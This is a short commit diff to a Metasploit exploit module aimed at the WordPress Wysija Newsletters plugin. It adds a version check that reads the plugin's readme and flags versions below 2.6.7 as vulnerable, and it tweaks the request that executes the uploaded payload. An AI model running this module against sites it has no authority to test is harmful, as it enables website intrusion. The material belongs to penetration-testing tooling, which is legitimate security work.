added check method

modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb

@@ -58,7 +58,33 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def check
+    readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
+    res = send_request_cgi({
+      'uri'    => readme_url,
+      'method' => 'GET'
+    })
+    # no readme present, so we can assume it's safe
+    if res.nil? || res.code != 200
+      return Msf::Exploit::CheckCode::Safe
+    end
 
+    # try to extract version from readme
+    # Example line:
+    # Stable tag: 2.6.6
+    version = res.body[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
+
+    # readme present, but no version number
+    if version.nil?
+      return Msf::Exploit::CheckCode::Unknown
+    end
+
+    print_status("#{peer} - Found version #{version} of the plugin")
+
+    if Gem::Version.new(version) < Gem::Version.new('2.6.7')
+      return Msf::Exploit::CheckCode::Appears
+    else
+      return Msf::Exploit::CheckCode::Safe
+    end
   end
 
   def exploit
@@ -92,7 +118,7 @@ class Metasploit3 < Msf::Exploit::Remote
     end
 
     print_status("#{peer} - Executing payload #{payload_uri}")
-    res = send_request_raw({
+    res = send_request_cgi({
       'uri'    => payload_uri,
       'method' => 'GET'
     })